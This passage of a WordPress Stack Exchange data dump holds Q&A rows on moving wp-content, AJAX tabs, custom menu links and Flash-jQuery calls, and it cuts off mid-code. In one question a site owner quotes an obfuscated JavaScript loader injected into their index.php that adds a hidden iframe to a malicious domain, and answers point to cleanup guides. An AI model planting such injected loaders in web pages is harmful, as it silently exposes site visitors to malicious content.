  <row Id="25853" PostTypeId="1" CreationDate="2011-08-14T08:41:53.053" Score="0" ViewCount="39" Body="&lt;p&gt;I have moved the 'wp-content' directory to a new folder following the guide at &lt;a href=&quot;http://codex.wordpress.org/Editing_wp-config.php#Moving_wp-content&quot; rel=&quot;nofollow&quot;&gt;Moving Wp-content&lt;/a&gt;. I could able to access plugins directory with out any problem as I used the wp_content_dir in addition with WP_CONTENT_DIR' . But I could not able to access themes and unable to install new themes using theme repository.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( 'WP_CONTENT_DIR', $_SERVER['DOCUMENT_ROOT'] . '/blog/wp-content' );  &#xA;define( 'WP_CONTENT_URL', 'http://example/blog/wp-content');&#xA;&#xA;&#xA;define( 'WP_PLUGIN_DIR', $_SERVER['DOCUMENT_ROOT'] . '/blog/wp-content/plugins' );&#xA;define( 'WP_PLUGIN_URL', 'http://example/blog/wp-content/plugins');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edited the wp-config.php with these constraints&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does any one have idea on resolving the issue? I mean, how to access the themes? Also should I expect any trouble in the future for moving the wp-content?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="3477" LastEditorUserId="3477" LastEditorDisplayName="" LastEditDate="2011-08-14T09:35:09.823" LastActivityDate="2011-08-14T09:35:09.823" Title="Moved wp-content and got problem with themes directory?" Tags="&lt;customization&gt;" AnswerCount="1" CommentCount="7" />
  <row Id="25854" PostTypeId="2" ParentId="25853" CreationDate="2011-08-14T08:55:33.843" Score="0" ViewCount="" Body="&lt;p&gt;Did you set these constants in &lt;code&gt;wp-config.php&lt;/code&gt;? Btw. the plugin constants are optional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my development instance, I've set the following before &lt;code&gt;ABSPATH&lt;/code&gt; and it works without any problems:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('WP_CONTENT_DIR', $_SERVER['DOCUMENT_ROOT'] . '/blog/wp-content');&#xA;define('WP_CONTENT_URL', 'http://' . $_SERVER['HTTP_HOST'] . '/blog/wp-content');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Limiations:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;a) If you use SSL, you should also check for the rigth protocol with &lt;code&gt;is_ssl()&lt;/code&gt;.&#xA;b) Not every plugin in the repository is using these constants. Many plugins out there has hardcoded paths relative to the root directory. So you could run in some problems if you really need a thirtparty plugin. &lt;/p&gt;&#xA;" OwnerUserId="3817" LastActivityDate="2011-08-14T08:55:33.843" CommentCount="1" />
  <row Id="25855" PostTypeId="1" CreationDate="2011-08-14T09:13:09.017" Score="0" ViewCount="134" Body="&lt;p&gt;On my site, the script below is being added:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;iframe width=&quot;1&quot; height=&quot;1&quot; frameborder=&quot;0&quot; src=&quot;http://hysofufewobe.com/k985ytv.htm&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried searching every file in my WP install directory for &quot;hysofufewobe&quot; but got no results so possibly the code is being obfuscated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure if WordPress or my host DreamHost is the problem. I've contacted my host asking if any reports have been made about similar issues. No reply yet. Thought I'd ask here in the meantime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know what steps I can take to get rid of this script?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, I made another thread here about this issue but I can't access it for some reason. Please feel free to delete that one if needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-edit- I checked /index.php and wp-admin/index.php and found the strange characters below at the very top before the &lt;code&gt;&amp;lt;?php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mv='uf';jx='tv.';cg='me';k='e';mg='rc';g='ys';rs='m';f='of';m='ht';u='85y';ca='e.c';r='s';j='fra';i='ht';h='//h';qy='wob';v='k9';a='t';qt='i';br='p:';s='om/';ul=qt.concat(j,cg);xl=r.concat(mg);xp=m.concat(a,br,h,g,f,mv,k,qy,ca,s,v,u,jx,i,rs);var bn=document.createElement(ul);bn.setAttribute('width','1');bn.setAttribute('height','1');bn.frameBorder=0;bn.setAttribute(xl,xp);document.body.appendChild(bn);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I deleted it and everything looks like it's back to normal. The script doesn't append to my markup, either. I am skeptical that simply erasing those lines fixed the entire problem but don't know how to check. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="7877" LastEditorUserId="7877" LastEditorDisplayName="" LastEditDate="2011-08-18T01:08:57.347" LastActivityDate="2011-08-22T22:35:06.920" Title="Malicious script is being appended to my markup. Help?" Tags="&lt;virus&gt;" AnswerCount="4" CommentCount="1" />
  <row Id="25856" PostTypeId="2" ParentId="6331" CreationDate="2011-08-14T09:15:51.350" Score="0" ViewCount="" Body="&lt;p&gt;There is no settled solution for change management in a WordPress environment.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recently wrote about &lt;a href=&quot;http://wordpress.stackexchange.com/questions/24314/wordpress-database-synch-between-dev-and-prod/24982#24982&quot;&gt;one approach&lt;/a&gt;, that might be helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@scribu then brought our attention to this &lt;a href=&quot;http://alexking.org/blog/2011/07/20/ramp-content-deploy-wordpress&quot; rel=&quot;nofollow&quot;&gt;new 'Ramp' offering for content staging.&lt;/a&gt; which might be of interest, depending on your use case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/119/easily-move-a-wordpress-install-from-development-to-production/182#182&quot;&gt;@MikeSchinkel has his own potential solution&lt;/a&gt; which doesn't attempt to preserve of user-generated content, at least initially, but is definitely worth checking out..&lt;/p&gt;&#xA;" OwnerUserId="4645" LastActivityDate="2011-08-14T09:15:51.350" />
  <row Id="25857" PostTypeId="1" AcceptedAnswerId="25865" CreationDate="2011-08-14T09:31:15.267" Score="0" ViewCount="46" Body="&lt;p&gt;I want to use &lt;a href=&quot;http://jqueryui.com/demos/tabs/&quot; rel=&quot;nofollow&quot;&gt;tabs&lt;/a&gt; plugin and load tab contents using &lt;code&gt;ajax&lt;/code&gt;. The problem is: the plugin requires a solid &lt;code&gt;.php&lt;/code&gt; file to be specified in &lt;code&gt;href&lt;/code&gt; e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;ajax/content3-slow.php&quot;&amp;gt;Tab 3 (slow)&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You know this does not work well with WordPress. A callback here would have worked. Is there such fork available Or any other plugin?&lt;/p&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2011-08-15T23:25:42.660" Title="jQuery tabs plugin with callback to fetch data" Tags="&lt;jquery&gt;&lt;ajax&gt;&lt;jquery-ui&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="25858" PostTypeId="1" AcceptedAnswerId="25864" CreationDate="2011-08-14T10:02:36.490" Score="0" ViewCount="39" Body="&lt;p&gt;By defining TEMPLATEPATH, STYLESHEETPATH, WP_CONTENT_DIR and WP_CONTENT_URL merely affect the naming changes to wp-content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to redefine the theme path and plugin path, so the new path can propagate through function calls such as get_options or bloginfo?&lt;/p&gt;&#xA;" OwnerUserId="6851" LastEditorUserId="6851" LastEditorDisplayName="" LastEditDate="2011-08-14T10:15:28.467" LastActivityDate="2011-08-14T11:16:58.550" Title="Is there a way to rename &quot;themes&quot; directory name?" Tags="&lt;customization&gt;" AnswerCount="2" />
  <row Id="25859" PostTypeId="2" ParentId="25840" CreationDate="2011-08-14T10:05:37.380" Score="0" ViewCount="" Body="&lt;p&gt;Useful links:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/FAQ_My_site_was_hacked&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/FAQ_My_site_was_hacked&lt;/a&gt;&#xA;http://wordpress.org/support/topic/268083#post-1065779&#xA;&lt;a href=&quot;http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/&quot; rel=&quot;nofollow&quot;&gt;http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/&lt;/a&gt;&#xA;http://ottopress.com/2009/hacked-wordpress-backdoors/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then implement tips of this guide: &lt;a href=&quot;http://codex.wordpress.org/Hardening_WordPress&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Hardening_WordPress&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5021" LastActivityDate="2011-08-14T10:05:37.380" />
  <row Id="25860" PostTypeId="1" AcceptedAnswerId="26387" CreationDate="2011-08-14T10:25:49.017" Score="3" ViewCount="60" Body="&lt;p&gt;I want to display X categories, and sort them by last update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also want to grab the image of the latest post with the category. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;&amp;lt;?php echo get_image('article_image',1,1,0,NULL,$res75); ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, the category list will be displayed by images, with the corresponding category-name underneath. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorted by last update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I go about doing that? &lt;/p&gt;&#xA;" OwnerUserId="1463" LastEditorUserId="1463" LastEditorDisplayName="" LastEditDate="2011-08-18T18:34:36.337" LastActivityDate="2011-08-19T22:15:11.767" Title="Sort X categories by last update and show image" Tags="&lt;query-posts&gt;&lt;query&gt;&lt;sort&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="25861" PostTypeId="2" ParentId="25858" CreationDate="2011-08-14T10:30:10.747" Score="0" ViewCount="" Body="&lt;p&gt;You can change the &lt;code&gt;wp-content&lt;/code&gt; folder which changes the plugin and theme dir. To do this you put change the folder location and put these two lines in your wp-config.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define ('WP_CONTENT_DIR','/full/path/to/your/content/dir');&#xA;define ('WP_CONTENT_URL','http://example.com/full/path/to/your/content/dirs/url');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just be aware that some plugins and themes are badly coded and may break because they are hard coded to look at the wp-content dir.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-08-14T10:30:10.747" CommentCount="1" />
  <row Id="25862" PostTypeId="1" CreationDate="2011-08-14T10:37:40.993" Score="0" ViewCount="10" Body="&lt;p&gt;I'm setting up a WP Network with buddypress, and all of the new blogs I create have the comments disabled. I've checked settings &gt; discussion on both the new blogs (where comments are disabled on all posts) and older blogs where they aren't, and the settings are the same. Both say-&quot;allow people to comment on new articles&quot; and match setting for setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example of a blog that allows comments: &#xA;&lt;a href=&quot;http://www.wmslearns.net/ThinkTank/&quot; rel=&quot;nofollow&quot;&gt;http://www.wmslearns.net/ThinkTank/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's and example of one that doesn't:&#xA;&lt;a href=&quot;http://www.wmslearns.net/judygale/&quot; rel=&quot;nofollow&quot;&gt;http://www.wmslearns.net/judygale/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix this on all of the blogs I've created? &lt;/p&gt;&#xA;" OwnerUserId="7879" LastActivityDate="2011-08-14T10:37:40.993" Title="New blogs created in multi-site have comments disabled" Tags="&lt;multisite&gt;&lt;comments&gt;" />
  <row Id="25863" PostTypeId="2" ParentId="25855" CreationDate="2011-08-14T11:09:19.867" Score="2" ViewCount="" Body="&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/FAQ_My_site_was_hacked&quot; rel=&quot;nofollow&quot;&gt;FAQ My site was hacked&lt;/a&gt; in Codex, but really unless you are completely confident you can deal with check/cleanup/secure yourself - your only remaining option is to get/hire someone to do that.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-14T11:09:19.867" />
  <row Id="25864" PostTypeId="2" ParentId="25858" CreationDate="2011-08-14T11:16:58.550" Score="2" ViewCount="" Body="&lt;p&gt;For themes you can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_theme_directory&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;register_theme_directory()&lt;/code&gt;&lt;/a&gt; function to add additional directories for WP to be aware of. I don't think I ever seen this used in practice, so not sure if there are any complications possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For plugins you can define &lt;code&gt;WP_PLUGIN_DIR&lt;/code&gt; and &lt;code&gt;WP_PLUGIN_URL&lt;/code&gt; constants in &lt;code&gt;wp-config.php&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-14T11:16:58.550" CommentCount="1" />
  <row Id="25865" PostTypeId="2" ParentId="25857" CreationDate="2011-08-14T11:30:50.537" Score="2" ViewCount="" Body="&lt;p&gt;You can always use the proper WordPress Ajax API (well not really an api)&#xA;for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;url to wp-admin/admin-ajax.php?action=my_ajax_tabs&amp;amp;tab=tab1&quot;&amp;gt;Tab 1&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;url to wp-admin/admin-ajax.php?action=my_ajax_tabs&amp;amp;tab=tab2&quot;&amp;gt;Tab 2&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then you create a function that will respond to the ajax calls:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function do_my_tabs(){&#xA;    $tab = $_GET['tab'];&#xA;    switch ($tab){&#xA;    case &quot;tab1&quot;:&#xA;        echo 'tab1 content';&#xA;        break;&#xA;    case &quot;tab2&quot;:&#xA;        echo 'tab2 content';&#xA;        break;&#xA;    }&#xA;    die();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and last just hook this function :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//if you want only logged in users to access this function use this hook&#xA;add_action('wp_ajax_my_ajax_tabs', 'do_my_tabs');&#xA;&#xA;//if you want none logged in users to access this function use this hook&#xA;add_action('wp_ajax_nopriv_my_ajax_tabs', 'do_my_tabs');&#xA;&#xA;//if you want both logged in users and guests to access this function then add both&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-08-15T23:25:42.660" LastActivityDate="2011-08-15T23:25:42.660" />
  <row Id="25866" PostTypeId="2" ParentId="25852" CreationDate="2011-08-14T11:35:12.450" Score="1" ViewCount="" Body="&lt;p&gt;Take a look at &lt;a href=&quot;http://wordpress.org/extend/plugins/bc-oauth/&quot; rel=&quot;nofollow&quot;&gt;BC oAuth&lt;/a&gt; which enables you to login with many services include&#xA;FaceBook, Twitter and Google Yahoo and OpenID&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-14T11:35:12.450" CommentCount="1" />
  <row Id="25867" PostTypeId="1" AcceptedAnswerId="25879" CreationDate="2011-08-14T11:45:58.500" Score="0" ViewCount="47" Body="&lt;p&gt;I have created a static frontpage where I load in the content of all my pages. Now I have a normal custom menu, but the links refer to the pages, for example: &lt;a href=&quot;http://mysite.com/about&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/about&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the I want to have the link directed to the page itself with &lt;a href=&quot;http://mysite.com/#about&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/#about&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I have a custom walker that I use, and I have tried the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$attributes .= ! empty( $item-&amp;gt;url )        ? ' href=&quot;'   . esc_attr( get_bloginfo('url').'#'.$item-&amp;gt;title ) .'&quot;' : '';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now this works ok, except for the home link itself. The home links to &lt;a href=&quot;http://mysite.com/#home&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/#home&lt;/a&gt;, but that one just needs to link to &lt;a href=&quot;http://mysite.com/#&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/#&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something different I could use then &lt;code&gt;$item-&amp;gt;title&lt;/code&gt; to append.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to know the method that I use to create the single page:&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/25782/creating-the-modern-single-page-html5-css3-layout-in-wordpress&quot;&gt;Creating the modern &amp;#39;single page&amp;#39; html5 css3 layout in wordpress&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;=============== &lt;strong&gt;&lt;em&gt;Update&lt;/em&gt;&lt;/strong&gt; ===================&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Just wanted to tell you guys what i did, maybe it helps someone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pages are structured like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Home      (public)  -&amp;gt; cutom menu item -&amp;gt; [link:#][label:home]&#xA;portfolio (private) -&amp;gt; cutom menu item -&amp;gt; [link:#portfolio][label:portfolio]&#xA;contact   (private) -&amp;gt; cutom menu item -&amp;gt; [link:#contact][label:contact]&#xA;blog      (public)  -&amp;gt; page menu item  -&amp;gt; [link:blog][label:blog]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Home and blog will be indexed and visible. portfolio and contact are loaded in home which is a front_page.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I use &lt;em&gt;relative links&lt;/em&gt;, and not absolute, html output will be href=&quot;#contact&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now having it like this will conflict on the blog page, the links will become &lt;a href=&quot;http://mysite.com/blog/#contact&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/blog/#contact&lt;/a&gt;. We don't want that, we want just &lt;a href=&quot;http://mysite.com/#contact&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/#contact&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my default walker I am going to edit edit in the absolute path. I do it here just to make the template a little more dynamic.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($item-&amp;gt;object == 'custom'){&#xA;    $attributes .= ! empty( $item-&amp;gt;url ) ? ' href=&quot;' .&#xA;    esc_attr(get_bloginfo('url').'/'.$item-&amp;gt;url ) .'&quot;' : '';&#xA;}else{&#xA;    $attributes .= ! empty( $item-&amp;gt;url ) ? ' href=&quot;' . &#xA;    esc_attr( $item-&amp;gt;url ) .'&quot;' : '';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Source to the complete walker can be found here: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/14037/menu-items-description/14039#14039&quot;&gt;Menu items description?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the next thing is 1) to have a nice scroll effect (jquery scrollto) when the links are clicked on the frontpage 2) be redirected to the blog when the blog link is clicked 3) be redirected back to the right section when a hashlink is clicked on the blogpage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Script for jQuery&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function() {&#xA;  $('.menu-item-object-custom a').bind('click', function(e) {&#xA;    e.preventDefault();&#xA;    var parts = ($(this).attr(&quot;href&quot;)).split(&quot;#&quot;);&#xA;    var target = '#' + parts[1];&#xA;&#xA;    if($('body.home').length){&#xA;      var moveto = $(target).length ? $(target).offset().top : 0;&#xA;      $('html, body').stop().animate({ scrollTop: moveto }, 1500, function() {&#xA;        location.hash = target;&#xA;      });&#xA;      return false;&#xA;    }else{&#xA;        window.location = $(this).attr(&quot;href&quot;);&#xA;    }&#xA;  });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the url in the browser is also changed, so the back button works also, and there is easy bookmarking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for all the suggestions and inspiration bellow!! And I hope someone can use this.&lt;/p&gt;&#xA;" OwnerUserId="7781" LastEditorUserId="7781" LastEditorDisplayName="" LastEditDate="2011-08-15T05:35:30.273" LastActivityDate="2011-08-15T05:35:30.273" Title="Add a #hash to the links in my custom menu" Tags="&lt;theme-development&gt;&lt;custom-menus&gt;&lt;template&gt;" AnswerCount="3" />
  <row Id="25868" PostTypeId="2" ParentId="14694" CreationDate="2011-08-14T11:47:30.280" Score="0" ViewCount="" Body="&lt;p&gt;none of the above solutions worked for me,&#xA;I even tried the debug statements to a file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A work around which does the job is &lt;/p&gt;&#xA;&#xA;&lt;p&gt;add a call to undefined function after all your debug statements, then the out put is printed to the screen.&lt;/p&gt;&#xA;" OwnerUserId="2193" LastActivityDate="2011-08-14T11:47:30.280" />
  <row Id="25869" PostTypeId="1" CreationDate="2011-08-14T12:01:14.820" Score="0" ViewCount="33" Body="&lt;p&gt;I found this code which should show the most popular posts (by comments) from the last 7 days. This works fine for the standard post type but doesn't appear to work with the custom post type. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php function filter_where($where = '') { $where .= &quot; AND post_date &amp;gt; '&quot; . date('Y-m-d', strtotime('-7 days')) . &quot;'&quot;; return $where; } add_filter('posts_where', 'filter_where'); $popular = new WP_Query('post_type=guide&amp;amp;orderby=comment_count&amp;amp;posts_per_page=4'); ?&amp;gt;&#xA;&amp;lt;?php while ($popular-&amp;gt;have_posts()) : $popular-&amp;gt;the_post(); ?&amp;gt;&#xA;&amp;lt;!-- DO STUFF --&amp;gt;&#xA;&amp;lt;?php endwhile; wp_reset_query(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas what I am doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Custom post type code (used custom post type UI plugin to generate):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_post_type('guide', array(&#xA;'label' =&amp;gt; 'Guide Listings',&#xA;'description' =&amp;gt; '',&#xA;'public' =&amp;gt; true,&#xA;'show_ui' =&amp;gt; true,&#xA;'show_in_menu' =&amp;gt; true,&#xA;'capability_type' =&amp;gt; 'post',&#xA;'hierarchical' =&amp;gt; false,&#xA;'rewrite' =&amp;gt; array('slug' =&amp;gt; ''),&#xA;'query_var' =&amp;gt; true,&#xA;'has_archive' =&amp;gt; true,&#xA;'supports' =&amp;gt; array('title','editor','excerpt','trackbacks','custom-fields','comments','revisions','thumbnail','author','page-attributes',),&#xA;),) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7002" LastEditorUserId="7002" LastEditorDisplayName="" LastEditDate="2011-08-14T16:43:51.117" LastActivityDate="2011-08-14T16:43:51.117" Title="Most commented from last 7 days (with post type)?" Tags="&lt;custom-post-types&gt;&lt;comments&gt;&lt;popular-posts&gt;" CommentCount="3" />
  <row Id="25870" PostTypeId="1" AcceptedAnswerId="25907" CreationDate="2011-08-14T12:14:40.937" Score="0" ViewCount="52" Body="&lt;p&gt;This is hopefully really simple for someone but I'm a newbie and trying to learn how to connect to JQuery's on my site from an embedded Flash swf. I'm attempting to do a simple example first to test the connection between Flash and JQuery...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've embedded an swf onto my page. When I click my button in Flash I'd like it to connect to a JQuery function that produces a popup alert saying &quot;hello world!&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my JQuery function (I need to name the function):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function helloWorld() {&#xA;       alert('Hello World');&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have an eventlistener (which I tested and works) on my button within Flash which tries to call the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function AddToBasket(event:MouseEvent):void{&#xA;var alert:URLRequest = new URLRequest(&quot;javascript:helloWorld();&quot;);&#xA;navigateToURL(alert);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I 'inspect element' in Chrome I can see the JQuery is there, but when I click my button no popup alert appears. I'm misunderstanding something pretty basic, any help would be appreciated!!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Flash SWF is added to my Wordpress page using Kimili Flash Embed, which I've added to my WP page like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[kml_flashembed movie=&quot;http://www.example.co.uk/upload/ImageUploader.swf&quot; allowscriptaccess=&quot;samedomain&quot; height=&quot;500&quot; width=&quot;728&quot; /]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The following AS3 does produce the popup, but the whole point of the exercise is calling a JQuery outside of Flash:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function AddToBasket(event:MouseEvent):void{&#xA;var alert:URLRequest = new URLRequest(&quot;javascript:alert('Hello World!')&quot;); //&quot;javascript:helloWorld();&quot;&#xA;navigateToURL(alert, &quot;_self&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks guys&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dean&lt;/p&gt;&#xA;" OwnerUserId="5225" LastEditorUserId="5225" LastEditorDisplayName="" LastEditDate="2011-08-14T14:51:35.733" LastActivityDate="2011-08-14T21:54:49.117" Title="Call a Simple JQuery from within Flash" Tags="&lt;jquery&gt;&lt;flash&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="25871" PostTypeId="1" CreationDate="2011-08-14T12:30:34.617" Score="0" ViewCount="31" Body="&lt;pre&gt;&lt;code&gt;function wp_link_pages_titled($args = '',$name,$author) {&#xA;    $defaults = array(&#xA;        'before' =&amp;gt; '&amp;lt;p&amp;gt;' . __('Pages:'), &#xA;        'after' =&amp;gt; '&amp;lt;/p&amp;gt;',&#xA;        'link_before' =&amp;gt; '', &#xA;        'link_after' =&amp;gt; '',&#xA;        'echo' =&amp;gt; 1&#xA;    );&#xA;&#xA;    $r = wp_parse_args( $args, $defaults );&#xA;    extract( $r, EXTR_SKIP );&#xA;&#xA;    global $page, $numpages, $multipage, $more, $pagenow, $pages;&#xA;&#xA;    $output = '';&#xA;    if ( $multipage ) {&#xA;        $output .= $before;&#xA;        for ( $i = 1; $i &amp;lt; ($numpages+1); $i = $i + 1 ) {&#xA;            $part_content = $pages[$i-1];&#xA;            $has_part_title = strpos( $part_content, '&amp;lt;!--pagetitle:' );&#xA;            if( 0 === $has_part_title ) {&#xA;                $end = strpos( $part_content, '--&amp;gt;' );&#xA;                $title = trim( str_replace( '&amp;lt;!--pagetitle:', '', substr( $part_content, 0, $end ) ) );&#xA;            }&#xA;&#xA;        $part_content2 = $pages[$i-1];&#xA;            $has_part_title2 = strpos( $part_content2, '&amp;lt;!--pageauthor:' );&#xA;             if( 1 === $has_part_title ) {&#xA;                $end2 = strpos( $part_content2, '--&amp;gt;' );&#xA;                $title2 = trim( str_replace( '&amp;lt;!--pageauthor:', '', substr( $part_content2, 0, $end2 ) ) );&#xA;            }&#xA;&#xA;            $output .= '&amp;lt;tr&amp;gt;&amp;lt;td class=&quot;category2_td1&quot;&amp;gt;Mirror '.$i.'&amp;lt;/td&amp;gt;&amp;lt;td class=&quot;category2_td1&quot;&amp;gt;';&#xA;            if ( ($i != $page) || ((!$more) &amp;amp;&amp;amp; ($page==1)) ) {&#xA;                $output .= _wp_link_page($i);&#xA;            }&#xA;&#xA;            $title = isset( $title ) &amp;amp;&amp;amp; ( strlen( $title ) &amp;gt; 0 ) ? $title : $name;&#xA;&#xA;            $title2 = isset( $title2 ) &amp;amp;&amp;amp; ( strlen( $title2 ) &amp;gt; 0 ) ? $title2 : $author;&#xA;            $output .= $link_before . $title . $link_after;&#xA;            if ( ($i != $page) || ((!$more) &amp;amp;&amp;amp; ($page==1)) )&#xA;                $output .= '&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td class=&quot;category2_td1&quot;&amp;gt;'.$title2.'&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;';&#xA;        else&#xA;                $output .= 